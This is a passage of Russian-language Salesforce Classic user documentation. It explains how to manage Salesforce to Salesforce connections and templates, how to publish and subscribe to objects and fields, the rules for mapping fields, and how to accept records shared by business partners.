приглашение, может подписаться на объекты, опубликованные подключением, а
также может предоставить подключению общий доступ к объектам посредством
связанных списков «Опубликованные объекты» и «Подписанные объекты» на
странице сведений о подключении.

Отмена приглашения
Чтобы отменить отправленное приглашение, которое еще не принято, нажмите
кнопку«Отменаприглашения». Чтобыповторноотправитьприглашение, нажмите
кнопку «Отправить повторно».

Деактивация подключений
Чтобы деактивировать созданное подключение, нажмите кнопку «Деактивировать». Деактивация подключения
позволяетпросматриватьиобновлять записи, предоставленныеподключением, нопрепятствуетотправкеобновлений
данному подключению. Отправка записей, которые не приняты подключением, инициирует удаление записей из
его организации (и наоборот).

Редактирование подключений
Чтобыизменитьпросматриваемоеподключение, изменитесведенияоданномподключении. Чтобыизменитьобъекты,
опубликованныедляподключения, нажмитекнопку«Публиковать/отменитьпубликацию». Чтобывоспользоваться
шаблономподключения, нажмитекнопку «Правка»ивыберите активныйшаблон. Чтобыизменитьопубликованные
поляобъекта, щелкнитессылку«Правка»напротивнужногообъекта. Чтобыизменитьподписанныеобъекты, нажмите
кнопку «Подписаться/отменить подписку». Дополнительную информацию см. в разделах ниже.

• Публикация объектов в Salesforce to Salesforce на странице 1709

• Подписка на объекты в Salesforce to Salesforce на странице 1701

• Публикация полей в Salesforce to Salesforce на странице 1710

• Подписка на поля в Salesforce to Salesforce на странице 1702

Просмотржурнала подключений
Связанный список «Журнал подключений» на странице сведений о подключении содержит подробную историю
подключения. Чтобы экспортировать журнал подключений, щелкните ссылку «Загрузитьжурнал подключений
(CSV)». Данная ссылка позволяет загрузить CSV-файл, содержащий указанную ниже информацию.

• Изменения статуса подключения

• Изменения организации, связанной с подключением

• Изменения контакта, связанного с подключением

• Изменения ответственного
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• Изменения опубликованных полей

• Сообщения эл. почты, отправленные бизнес-партнерам

• Ошибки, связанные с правиламипроверки и триггерамиApex, если для создания правил проверки используются:

– записи, принятые вручную;

– записи, принятые автоматически;

– записи, обновленные пользователем подключения.

Прим.: Системные ошибки (например, ошибки кода) не регистрируются журналом подключений.

СМ. ТАКЖЕ:

Начальная страница подключений

Шаблоны подключения в функции Salesforce to Salesforce

Шаблоны подключения в функции Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
просмотра шаблонов
подключения:
• «Управление

подключениями»

Шаблоны подключения позволяют определять объекты и поля, которые могут быть
опубликованы для подключений. Шаблоны подключения могут быть назначены как
минимум одному стандартному подключению Salesforce to Salesforce для быстрой и
удобнойпубликации. Чтобыпросмотреть, создатьилиизменитьшаблоныподключения,
откройте вложенную вкладку «Шаблоны» на вкладке «Подключения».

Подключение, ккоторомуприменяетсяшаблон, такжеподдерживаетприменениеправил
полей и объектов.

Ниже приведены правила, применяемые к шаблонам подключения.

• Публикуются объектыиполя, которые ещене опубликованы, но уже опубликованы
в шаблоне подключения.

• Не изменяются объекты и поля, имеющие тот же статус (опубликовано или не
опубликовано), что и шаблон.

• Отменяется публикация объектов и полей, которые уже опубликованы, но еще не
опубликованы в шаблоне подключения.

СМ. ТАКЖЕ:

Создание и применение шаблонов подключения

Начальная страница подключений
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Создание и применение шаблонов подключения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
просмотра шаблонов
подключения:
• «Управление

подключениями»

Создание и редактирование шаблонов подключения
Шаблоныподключенияпозволяютопределятьправилапубликацииобъектовиполей,
которые могут применяться к одному или нескольким стандартным подключениям
Salesforce to Salesforce.

Чтобы создать шаблон подключения, выполните указанные ниже действия.

1. Откройте вкладку «Подключения».

2. Откройте вложенную вкладку «Шаблоны».

3. Нажмите кнопку «Создать».

4. Введите имя и описание.

5. Чтобы назначить шаблон стандартным подключениям, установите флажок
«Активно».

6. Чтобы сохранитьшаблон, нажмите кнопку «Сохранить». Чтобы добавить объекты
в шаблон, нажмите кнопку «Сохранить и добавить объекты».

7. При нажатии кнопки «Сохранить и добавить объекты» установите флажки
напротив нужных объектов и нажмите кнопку «Сохранить».

Прим.: При нажатии кнопки «Сохранить»щелкните ссылку «Добавить или
удалить объекты» на странице сведений о шаблоне.

8. Щелкните ссылку «Правка» напротив добавленного объекта в связанном списке
«Опубликованные объекты».

9. Выберите нужные поля и нажмите кнопку «Сохранить».

10. Повторите действия 8 и 9 для каждого добавленного объекта в связанном списке «Опубликованные объекты».

Чтобы деактивировать шаблон подключения, выполните указанные ниже действия.

1. Щелкните ссылку «Правка» напротив нужного шаблона на вложенной вкладке «Шаблоны». Или нажмите кнопку
«Правка» на странице сведений о шаблоне.

2. Снимите флажок «Активно».

3. Нажмите кнопку «Сохранить».

Прим.: Подключенияммогутбытьназначенытолькоактивныешаблоны. Чтобывоспользоватьсядеактивированным
шаблоном, установите флажок «Активно».

Назначение шаблонов подключения подключениям
Шаблоны подключения могут быть назначены текущим или новым подключениям.

Чтобы назначить шаблон подключения текущему подключению, выполните указанные ниже действия.

1. Откройте вкладку «Подключения».

2. Откройте вложенную вкладку «Подключения».

3. Щелкните имя нужного подключения.

4. Нажмите кнопку «Правка».
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5. Введите имя нужного шаблона в поле «Шаблон» илищелкните значок поиска.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Шаблоны подключения в функции Salesforce to Salesforce

Начальная страница подключений

Предоставление общего доступа к записям с помощью функции Salesforce to
Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Общий доступ к даннымможет быть предоставлен пользователям другой организации
после создания подключения. Бизнес-партнеры не имеют прямого доступа к записям
пользователя. Однако их организации содержат запись, которая связана с записью
пользователя посредством функции Salesforce to Salesforce. Изменения общедоступной
информацииводнойзаписипереносятся в другуюзапись. Записимогутбытьдоступны
одному или нескольким подключениям. Любое подключение может принимать
общедоступные записи, которые уже были приняты другими подключениями.

Прим.: Предоставлениебизнес-партнерамдоступакзаписямпосредствомфункции
Salesforce to Salesforce отличается от совместного использования записей внутри
организации.

Чтобыопределитьтипзаписей, используемыхсовместносбизнес-партнерами, выберите
объекты и поля для публикации.

Кроме того, чтобы определить способ использования информации, предоставляемой бизнес-партнером, подпишитесь
на объекты и соотнесите поля этих объектов с полями собственных объектов.

Чтобыпредоставитьподключениямдоступкосновнымисвязаннымзаписям, перенаправьтезаписьнужнымподключениям
илиназначьте записьочереди, содержащейнужныеподключения. Кроме того, можете выбратьнужныесвязанные записи
и отправить контакту подключения электронное уведомление о предоставлении доступа к записи.

Подобным образом, доступ к записям может предоставляться бизнес-партнерами. В этом случае основные сведения о
записи могут быть просмотрены на начальной странице объекта, которая также позволяет принять или отклонить
основнуюисвязанные записи. Кроме того, подписываясьнаобъект, можете указать, что записиобъекта, предоставленные
подключением, должныприниматьсяавтоматически.Рекомендуемиспользоватьданнуюфункциювслучаепредоставления
подключением доступа к большому количеству записей.

Подобно любымдругим записям, функция Salesforce to Salesforceпозволяет предоставлять другимподключениям доступ
кпринятойзаписи. Такимобразом, компаниимогутсоздаватьмногоуровневыеделовыесети, благодарякоторымизменения
общедоступной записи в одной организации переносятся в соответствующие записи других организаций.

СМ. ТАКЖЕ:

Публикация полей в Salesforce to Salesforce

Подписка на поля в Salesforce to Salesforce

Советы по использованиюфункции Salesforce to Salesforce
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Подписка на объекты в Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для подписки на
опубликованные объекты:
• «Управление

подключениями»

Функция Salesforce to Salesforce позволяет подписываться на объекты, опубликованные
бизнес-партнерами. Объект, на который подписывается пользователь, соотносится с
объектом, доступным в его организации. Стандартные объекты должны соотноситься
со стандартнымиобъектамиорганизации, анастраиваемыеобъектымогут соотноситься
с любыми настраиваемыми объектами. Например, настраиваемый объект
«Потенциальныеклиенты», опубликованныйбизнес-партнером, можетбыть соотнесен
с настраиваемым объектом «Клиент».

Чтобыподписатьсяна объектыдляподключения, выполните указанныенижедействия.

1. Откройте вкладку «Подключения».

2. Щелкните имя нужного подключения.

3. Нажмите кнопку «Подписаться/отменить подписку» в связанном списке
«Подписанные объекты».

4. Чтобы выбрать нужные объекты, выберите объект в текущей организации, который
должен быть соотнесен с данным объектом. Чтобы отменить подписку на
опубликованный объект, выберите значение «--Нет--».

5. Чтобы автоматически принимать записи данного типа, предоставленные
подключением, установите флажок «Автопринятие» напротив нужного объекта.
Флажок отображается только после выбора соотнесения.

Прим.: Нижеперечисленыобъекты, для которыхданныйфлажокнедоступен.

• Дочерние объекты. Продукты возможности, задачи и общедоступные
комментариикобращениюпринимаются автоматическив томслучае, если
принимаетсяродительская запись. Вложенияпринимаются автоматически
в том случае, если они являются общедоступными и для них установлен
флажок «Общий доступ с подключениями».

• Объекты, содержащие как минимум один основной объект (например,
настраиваемые объекты объединения или подробные объекты во
взаимосвязи «Основная-подробная»).

Флажок «Автопринятие» не может быть установлен напротив записей,
доступных в качестве дочерних для других записей (например, запись
обращения, являющаяся дочерней для принятой записи обращения).

6. Нажмите кнопку «Сохранить».

Прим.: Если бизнес-партнер прекращает публиковать объект, на который подписан пользователь, то подписка
пользователя на данный объект автоматически отменяется.

Опубликованные поля объекта, на который подписался пользователь, могут быть соотнесены с полями собственного
объекта. Например, поле интереса «Описание» может быть соотнесено с настраиваемым полем интереса «Описание
партнера». Вэтомслучаепользователяморганизациибудетотображаться собственноеописаниеинтереса, анеописание,
добавленное бизнес-партнером.
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Дополнительные рекомендации
• Еслиорганизацияиспользуетфункциюавтопринятияинтересовилиобращений, то автоматическоепринятиезаписи

инициирует выполнение любого активного правила назначения, заданного в организации.

• Чтобы автоматически принимать записи, предоставленные подключением, ответственный за подключение должен
быть активным пользователем.

Подписка на поля в Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для подписки на
опубликованные поля:
• «Управление

подключениями»

Функция Salesforce to Salesforce позволяет подписываться на поля, опубликованные
бизнес-партнером, и соотносить их с собственными полями. Поля общедоступной
записи, обновленные бизнес-партнером, также обновляются в собственной записи
организации.

Например, поле «Описание», опубликованноебизнес-партнером, можетбытьсоотнесено
снастраиваемымполем «Описание партнера». Вэтомслучаепользователяморганизации
будет отображаться собственное описание интереса.

Перед подпиской на поля см. Рекомендации по соотнесению полей в Salesforce to
Salesforce.

Чтобы соотнести поля подписанного объекта, выполните указанные ниже действия.

1. Откройте вкладку «Подключения».

2. Щелкните имя нужного подключения.

3. Щелкните ссылку «Правка» напротив нужного объекта в связанном списке
«Подписанные объекты».

4. Чтобы соотнести опубликованные поля бизнес-партнера с собственными полями,
выберите соответствующее поле в раскрывающемся списке.

Прим.: Раскрывающийся список содержит только поля с правильным типом
данных, так как соотносимые поля должны иметь одинаковый тип данных,
длину (для текстовых и числовых полей) и количество знаков после запятой
(для числовых полей). Чтобы просмотреть сведения о типе данных для
опубликованного поля, наведите указатель мыши на значок напротив
нужного поля. Чтобы пропустить поля, выберите значение «--Нет--».

5. Чтобы соотнести значения опубликованного поля, в качестве которого используется раскрывающийся список, со
значениями раскрывающегося списка организации, щелкните «Редактировать значение».

6. Нажмите кнопку «Сохранить».

Прим.: Измененныесоотнесенияполейизначенияраскрывающихся списковмогутнеотображаться ворганизации
бизнес-партнера в течение 15 минут, необходимых системе Salesforce для обновления кэша. Данный кэш позволяет
увеличитьколичествотранзакцийиуменьшитьколичествовызововAPI, учитывающихсявограниченияхорганизации.

СМ. ТАКЖЕ:

Управление подключениями

Публикация полей в Salesforce to Salesforce
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Рекомендации по соотнесению полей в функции Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При подписке на поле в функции Salesforce to Salesforce рекомендуем выполнить его
соотнесение с полем текущей организации. Данный алгоритм позволяет
синхронизировать обновления данного поля для всех общих записей. Прежде чем
выполнить соотнесение полей, просмотрите рекомендации ниже.

Важное замечание: Данные сведения относятся к стандартным подключениям
Salesforce to Salesforce. При соотнесении полей для подключения репликации в
рамках функции «Синхронизация организации» некоторые сведения ниже могут
быть неактуальны.

Автоматическое соотнесение полей

• При подписке на поля установите флажок «Автоматическое соотнесение
полей»для автоматическогосоотнесенияполейбизнес-партнера с собственнымиполями. Послевыбораданного
параметра нажмите кнопку «Сохранить» для применения внесенных изменений.

• Система Salesforce проверяет любое несоотнесенное поле на предмет соответствия API-имени поля имени одного
из собственных полей. При отсутствии совпадений система Salesforce проверяет поля на наличие совпадающих
меток. При повторном отсутствии совпадений система Salesforce выбирает значение «--Нет--».

• Выборпараметра«Автоматическоесоотнесениеполей»неинициируетперезаписьвыбранныхранеепараметров,
а отмена выбора не влияет на соотнесенные ранее поля.

• Ниже перечислены стандартные поля, которые соотносятся автоматически.

– Организация: Имя организации и Фамилия  (при использовании организаций-лиц)

– Вложение: Текст, Тип содержимого, Имя файла

– Обращение: Тема

– Комментарий к обращению: Текст и Опубликовано

– Контакт: Фамилия

– Настраиваемый объект: Имя

– Интерес: Фамилия и Компания

– Возможность: Имя, Дата закрытия и Этап

– Продукт: Имя продукта

– Задача: Тема

– Продукт возможности: Количество и Продажная цена

Соотнесение полей раскрывающегося списка

• Если значение раскрывающегося списка соотносится со значением «--Нет--» и вводится бизнес-партнером,
тособственномуполюраскрывающегосяспискабудет заданоаналогичноезначение. Например, еслипользователь
подписываетсянараскрывающийсясписок «Статусинтереса», абизнес-партнериспользуетзначение «Внутренний»
в данном раскрывающемся списке, то записи пользователя будет задан статус интереса «Внутренний».

• Чтобыпреобразоватьнастраиваемоеполе вполераскрывающегося списка, отменитепубликациюполя, измените
его тип и опубликуйте поле повторно.

Соотнесение полей валюты

• Если запись, предоставленная подключением, содержит валюту, которая не поддерживается организацией, то
при соотнесении поле валюты не обновляется в случае автоматического принятия записи организацией. При
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ручном принятии записи валюта обновляется только в том случае, если организация использует ту же валюту,
что и запись.

Например, подключение предоставляет пользователю доступ к возможности. Организация пользователя
поддерживаеттолькоевро. Подключениеобновляетстоимостьвозможностина 300 долларовСША. Следовательно,
стоимость возможности не будет обновлена в записи пользователя, так как его организация не поддерживает
доллары США.

• Приизменении валюты в записи, содержащей соотнесенноеполе валюты, обновленияполя, внесенные текущим
пользователем, не будут распространяться на остальную организацию, а обновления поля, внесенные
подключением, не будут отображаться в организации текущего пользователя.

• Поля сводного резюмирования могут быть соотнесены с полями валюты, содержащими такой же тип валюты.
Например, поле сводного резюмирования, использующее тип валюты «Доллар США», может быть соотнесено
с полем валюты, содержащим доллары США.

Соотнесение расписаний объемов продукции и доходов

• Еслиорганизацияподключенияподдерживаетрасписанияобъемовпродукцииилирасписаниядоходов, а текущий
пользователь подписывается на объект «Продукты» от данного подключения, то пользователю рекомендуется
подписатьсянаперечисленныенижеполяивыполнитьихсоотнесениес соответствующимиполямиорганизации.

Поля для соотнесенияТип расписания

Расписание объемов продукции – Количество выплат по объему продукции

– Период выплаты по объему продукции

– Тип расписания объемов продукции

Расписание доходов – Количество выплат по доходу

– Период выплаты по доходу

– Тип расписания доходов

Соотнесение разных типов полей

• Поля организаций-лиц должны соотноситься только с полями организаций-лиц, а поля организаций-компаний
должны соотноситься только с полями организаций-компаний.

• Если организации-лица используются подключением и недоступны текущему пользователю, то поле
организации-лица «Фамилия» используется как поле «Имя организации» при предоставлении текущему
пользователюобщегодоступакзаписиорганизации-лица. Привключенииорганизаций-лицтекущийпользователь
автоматически подписывается на поле «Фамилия». Любые изменения полей «Фамилия» и «Имя организации»
синхронизируются.

• Стандартное числовое поле не может быть соотнесено с настраиваемым числовым полем.

• Поляпоискамогут соотноситься с текстовымиполями, длинакоторыхпревышает 80 символов. Еслиподключение
редактирует поле поиска, соотнесенное с текстовым полем, то текстовое поле будет обновлено его изменениями.

• Поля автонумерации могут соотноситься с текстовыми полями, длина которых превышает 30 символов.

• Поля формулы могут соотноситься с полями такого же типа данных (например, числовое поле формулы может
быть соотнесено только с числовымполем). Текстовоеполеформулыможет быть соотнесено только с текстовым
полем, длина которого превышает 80 символов. В свою очередь, поля не могут соотноситься с полями формулы
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(например, полеформулы, содержащеевалюту, можетбытьсоотнесеносполемвалюты, нополевалютынеможет
быть соотнесено с полем формулы). Поля аудита системы не поддерживаются.

Отмена подписки на поля

• Ниже перечислены условия автоматической отмены подписки на поле.

– Прекращение публикации поля бизнес-партнером.

– Удаление настраиваемого поля, соотнесенного с опубликованным полем.

– Изменение типаполянастраиваемогораскрывающегося спискаилинастраиваемогораскрывающегося списка
со множественным выбором (например, при замене настраиваемого раскрывающегося списка текстовым
полем).

СМ. ТАКЖЕ:

Подписка на поля в Salesforce to Salesforce

Принятие записей, предоставленных подключением

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для принятия
общедоступных записей:
• «Чтение» и

«Редактирование» для
объекта

Для просмотра записей,
предоставленных
подключением:
• «Управление

подключениями» или
доступ к списковому
представлению

ФункцияSalesforce to Salesforceпозволяетприниматьзаписи, предоставленныесвязанными
бизнес-партнерами для совместного использования. Принятая запись может быть
назначена текущему пользователю, другому пользователю или очереди. Кроме того,
принятый интерес или обращение может быть назначено автоматически посредством
правиланазначения, заданноговорганизации. Дочерняя записьдругойпринятойзаписи
можетбытьназначенародительскойзаписи. Крометого, подписываясьнаобъект, можете
указать, что записи объекта, предоставленные подключением, должны приниматься
автоматически.

Еслиправилапроверкизапрещаютприниматьобщедоступныезаписи, создайтеправило
проверки с полем «Имя принятого подключения», не равным нулю. Таким образом,
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правила проверки записей, принимаемых от подключений, будут пропускаться. Чтобы создать данное правило,
воспользуйтесь указанной ниже формулой.

IF(OR(ISNEW(), ISNULL(Id)), if(ConnectionReceivedId =null,
TRUE, FALSE),NOT(AND(ISCHANGED(ConnectionReceivedId),
NOT(ConnectionReceivedId = null))))

Подобное правило должно быть создано для любого триггера Apex, охваченного проверкой.

Чтобы принять предоставленные записи, выполните указанные ниже действия.

Прим.: Припринятиизаписивручнуюобновлениевсех соотнесенныхполейзаписиможет занятьнекотороевремя.

Дополнительную информацию об ошибке, обнаруженной при принятии записи, см. в журнале подключений.

1. Откройте вкладку для нужного типа записи.

2. Выберите списковое представление подключений и нажмите кнопку «Начать». Например, выберите списковое
представление в раскрывающемся списке и нажмите кнопку «Начать» в разделе «Интересы от подключений» на
вкладке «Интересы».

3. Чтобы принять организацию, контакт или возможность, щелкните ссылку «Принять» напротив нужной записи.
Чтобы принять обращение, интерес или настраиваемый объект, установите флажок напротив нужной записи и
нажмите кнопку «Принять».

Прим.: Если запись является дочерней для принятой записи, то имя родительской записи отображается в
столбце «Имя родительской записи». Если запись является родительской или родительская запись отсутствует,
то данный столбец отображается пустым.

Чтобыавтоматическиприниматьобщедоступныевложенияпринимаемойзаписи, установитефлажок «Общий
доступ с подключениями» для вложения.

Принятие возможностей
Принимаявозможность, пользовательможетсвязать ее собъектомипрайс-листом, либоновойилитекущейорганизацией
или возможностью. Кроме того, данной записи может быть назначен ответственный при создании возможности или
организации.

Принятие организаций
Принимая организацию, пользователь может связать ее с другим объектом и добавить новую организацию, либо
воспользоваться текущей организацией. Кроме того, данной записи может быть назначен ответственный при создании
организации.

Принятие контактов
Принимая контакт, пользовательможет связать его с другимобъектомидобавитьновуюорганизациюиликонтакт, либо
воспользоваться текущейорганизациейили контактом. Кроме того, данной записиможет быть назначен ответственный
при создании контакта или организации.

Принятие обращений, интересов и настраиваемых объектов
Принимаяобращение, интересилинастраиваемыйобъект, пользовательможет связать его сдругимобъектоминазначить
интерес или настраиваемый объект новому ответственному.
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Прим.: Если установленфлажок «Назначить с помощью активного правила назначения», но критерииправила
назначения не выполняются, то интерес, обращение или настраиваемый объект назначаются ответственному по
умолчанию.

Принятие продуктов
Принимая продукт, пользователь может связать его с текущим продуктом или добавить новый продукт.

Дополнительные рекомендации
• Вслучае обновленияполяобщедоступной записи, на котороеподписанбизнес-партнер, данноеполе автоматически

обновляется в записи, используемой в организации бизнес-партнера. Подобным образом, поле, обновленное
бизнес-партнером, автоматически обновляется в организации текущего пользователя при наличии подписки на
данное поле. Полю «Последнее обновление сделано» в записи, обновленной бизнес-партнером, присваивается
значение «Пользователь подключения».

• Подобно любым другим записям, функция Salesforce to Salesforce позволяет предоставлять другим подключениям
доступ к принятой записи. Таким образом, компании могут создавать многоуровневые деловые сети, благодаря
которым изменения общедоступной записи в одной организации переносятся в соответствующие записи других
организаций.

• Если доступ к дочерним записям предоставляется бизнес-партнером с помощью ссылки «Управление
подключениями» в связанном списке принятой записи, то дочерние записи могут автоматически добавляться в
организацию текущего пользователя.

СМ. ТАКЖЕ:

Предоставление общего доступа к записям с помощьюфункции Salesforce to Salesforce

Начальная страница подключений

Советы по использованиюфункции Salesforce to Salesforce
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Автоматическое принятие связанных записей от подключения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для принятия или
отклонения записей:
• «Чтение» и

«Редактирование» для
записи

Правила автоматического принятия связанных записей от подключения
Функция Salesforce to Salesforce позволяет предоставлять доступ к родительским и
дочерним записям. При соблюдении определенных условий дочерние записи для
записей, принимаемыхподключениемилитекущимпользователем, могутприниматься
автоматически. Кроме того, дочерние записи могут приниматься автоматически в том
случае, если родительская запись уже принята, а общий доступ к дочерним записям
предоставляется с помощью ссылки «Управление подключениями».

Ниже перечислены условия, при выполнении которых дочерние записи принимаются
автоматически.

• Родительская запись должна быть принята организацией.

• Запись должна быть дочерней.

• Дочерняя запись должна иметь только одну основную запись.

• Между дочерней записью и родительским объектом должна существовать только
одна связь.

• Ответственный за подключение должен быть активным пользователем.

• Ответственный за родительскую запись должен быть активным пользователем.

Важное замечание: Дочерние записи, принимаемые автоматически, могут
отображаться в связанном списке родительского объекта с небольшой задержкой.
Также возможна небольшая задержка в отображении имени отправленного
подключениявтомслучае, еслиобщийдоступкдочернимзаписямпредоставляется
с помощью ссылки «Управление подключениями».

Дочерняя запись, котораяне соответствует критериямавтоматическогопринятия, можетбытьпринята вручнуюнавкладке
соответствующего объекта. Например, запись возможности должна быть принята на вкладке «Возможности». Дочерняя
запись, которая должна быть принята вручную, отображается рядом с именем родительской записи. Дополнительную
информацию см. в разделе «Принятие записей, предоставленных подключением» на странице 1705.

СМ. ТАКЖЕ:

Подписка на поля в Salesforce to Salesforce
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Публикация объектов в Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для публикации объектов:
• «Управление

подключениями»

Опубликованные объекты — это объекты, доступ к которым может быть предоставлен
бизнес-партнерам посредством функции Salesforce to Salesforce. Пользователи могут
публиковать дополнительные объекты при получении приглашения, создании
настраиваемыхобъектовилипредоставлениибизнес-партнерамрасширенногодоступа.
Кроме того, публикуемые объекты могут быть доступны только отдельным
бизнес-партнерам.

Ниже перечислены объекты, доступные для публикации.

• Организация

• Вложение

• Обращение

• Комментарий к обращению

• Контакт

• Интерес

• Возможность

• Продукт возможности

• Продукт

• Задача

• Настраиваемый объект

Чтобы определить опубликованные объекты для подключения, выполните указанные ниже действия.

1. Откройте вкладку «Подключения».

2. Щелкните имя нужного подключения.

3. Нажмите кнопку «Публиковать/отменить публикацию» в связанном списке «Опубликованные объекты».

4. Выберите нужные объекты. Отмените выбор объектов, которые не должны быть опубликованы.

5. Нажмите кнопку «Сохранить».

Прим.: Пользователи могут публиковать только те объекты, которые доступны им для редактирования.

При обновлении опубликованных объектов бизнес-партнеры получают соответствующее электронное уведомление.
Чтобынастроитьданноеуведомление, внеситенеобходимыеизменениявшаблонсообщения «Обновлениеподключения».

Нижеперечисленыусловия, привыполнениикоторыхподпискабизнес-партнеровнаобъектыотменяется автоматически.

• Отмена публикации объекта

• Удаление настраиваемого объекта, на который подписан бизнес-партнер

Поляобъекта, доступныедляпубликации, могутбытьвыбранытолькопослепубликациисамогообъекта. Дополнительную
информацию о публикации полей см. в разделе «Публикация полей в Salesforce to Salesforce» на странице 1710.

Дополнительные рекомендации
• Список объектов содержит все настраиваемые объекты организации, однако функция Salesforce to Salesforce

поддерживаеттолькоразвернутыенастраиваемыеобъекты. Перенаправлениезаписейдоступнотолькодляразвернутых
настраиваемых объектов.
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• В случае публикации комментария к обращению, подключениям будут доступны все общедоступные комментарии
к обращению. Чтобы отменить общий доступ к комментарию по конкретному обращению, щелкните «Сделать
личным».

СМ. ТАКЖЕ:

Публикация полей в Salesforce to Salesforce

Перенаправление связанных записей подключению

Публикация полей в Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для публикации полей:
• «Управление

подключениями»

Функция Salesforce to Salesforceпозволяет определять объекты, используемые совместно
сбизнес-партнерами, путемихпубликации. Крометого, пользовательможетопределить
поля объектов, доступные для публикации. Ниже перечислены поля, публикуемые по
умолчанию.

• Организация: Имя организации и Фамилия  (прииспользованииорганизаций-лиц)

• Вложение: Текст, Тип содержимого, Имя файла

• Обращение: Тема

• Комментарий к обращению: Текст и Опубликовано

• Контакт: Фамилия

• Настраиваемый объект: Имя

• Интерес: Фамилия и Компания

• Возможность: Имя, Дата закрытия и Этап

• Продукт: Имя продукта

• Задача: Тема

• Продукт возможности: Количество и Продажная цена

Функция Salesforce to Salesforce отображает метку API для каждого поля.

Помимо обязательных полей, можно опубликовать дополнительные поля, или
публикуемые поля могут быть доступны только отдельным бизнес-партнерам.

Чтобы определить опубликованные поля для подключения, выполните указанные ниже действия.

1. Откройте вкладку «Подключения».

2. Щелкните имя нужного подключения.

3. Щелкните ссылку «Правка» напротив нужного объекта в связанном списке «Опубликованные объекты».

4. Выберите нужные поля. Отмените выбор полей, которые не должны быть опубликованы.

5. Нажмите кнопку «Сохранить».

Прим.: Пользователи могут публиковать только те поля, которые доступны им для редактирования.

Измененные поля могут не отображаться в подписавшейся организации в течение 15 минут, необходимых системе
Salesforce для обновления кэша. Данный кэшпозволяет увеличить количество транзакцийи уменьшить количество
вызовов API, учитывающихся в ограничениях организации.

Поля типа «Область обогащенного текста» недоступны для публикации.

Функция Salesforce to Salesforce неподдерживаетполя геолокации, а такжеширотуидолготу для стандартныхадресов.
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Приизмененииопубликованныхполейбизнес-партнерыполучаютсоответствующееэлектронноеуведомление. Чтобы
настроить данное уведомление, внесите необходимые изменения в шаблон сообщения «Обновление подключения».

Ниже перечислены условия, при выполнении которых подписка бизнес-партнеров на поля отменяется автоматически.

• Отмена публикации поля

• Удаление настраиваемого поля, на которое подписан бизнес-партнер

• Изменение типа поля, на которое подписан бизнес-партнер

• Изменение размера или точности поля чисел, валюты, процентов, текста или области подробного текста.

Данные поля остаются опубликованными, но требуют повторной подписки.

Периодически новые выпуски системы Salesforce дополняются новыми стандартными полями. Организации Salesforce
по всему миру обновляются в разное время, поэтому новые поля могут быть опубликованы для всех бизнес-партнеров
только после обновления их организаций. Сервисные обновления устанавливаются во время планового обслуживания
системы. Чтобы просмотреть график обслуживания системы, посетите веб-узел trust.salesforce.com.

Прочие советы и рекомендации
• Отправьте бизнес-партнерам сведения о публикуемых полях. Используя эти сведения, бизнес-партнеры могут

разработать оптимальный алгоритм соотнесения.

• Переведите имена опубликованных настраиваемых полей на языки, используемые партнерами. В этом случае имена
полей будут отображаться на родном языке партнера.

• Если организации-лица используются текущей организацией и недоступны подключению, то при предоставлении
общего доступа к записи поле организации-лица «Фамилия» используется в качестве поля «Имя организации».
Подключение, включившееподдержкуорганизаций-лиц, автоматическиподписываетсянаполе «Фамилия». Любые
изменения в полях «Фамилия» и «Имя организации» подлежат синхронизации.

СМ. ТАКЖЕ:

Управление подключениями

Подписка на поля в Salesforce to Salesforce
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Предоставление подключению доступа к записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения записей
подключению:
• «Чтение» и

«Редактирование» для
записи

Для отмены общего доступа
к записи:
• «Чтение» и

«Редактирование» для
записи

Для пакетного
перенаправления записей
подключению:
• «Управление

подключениями»

Функция Salesforce to Salesforce поддерживает общий доступ к записям совместно со
